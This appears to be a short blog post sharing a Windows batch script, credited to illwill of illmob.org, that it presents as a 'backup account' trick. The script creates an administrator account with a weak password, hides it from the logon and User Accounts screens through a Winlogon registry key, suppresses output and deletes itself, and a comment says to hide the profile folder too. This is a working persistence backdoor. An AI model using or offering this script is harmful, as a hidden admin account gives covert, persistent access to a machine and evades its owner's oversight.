Nice little .bat script trick from illwill @ illmob.org that will create user who’s account will be hidden from the logon screen and the User Accounts screen in control panel. This will only work if its ran from an account that has admin rights. It’s great for a backup account.

@echo off
rem HideUser.bat 
rem by illwill    http://illmob.org
rem This will create a hidden user with admin rights in XP/Vista
rem ( hidden meaning that the username wont appear in the logon screen)
rem change the illwill & passw0rd to your own
rem Add once you log into your new account dont forget to hide the user folder
rem "attrib +r +a +s +h %USERPROFILE%"


SET NEWUSER=adm1n
SET PASS=passw0rd

net user %NEWUSER% %PASS% /add && net localgroup administrators %NEWUSER% /add>nul 2>&1
reg.exe ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %NEWUSER% /t REG_DWORD /d 0 /f>nul 2>&1
DEL %0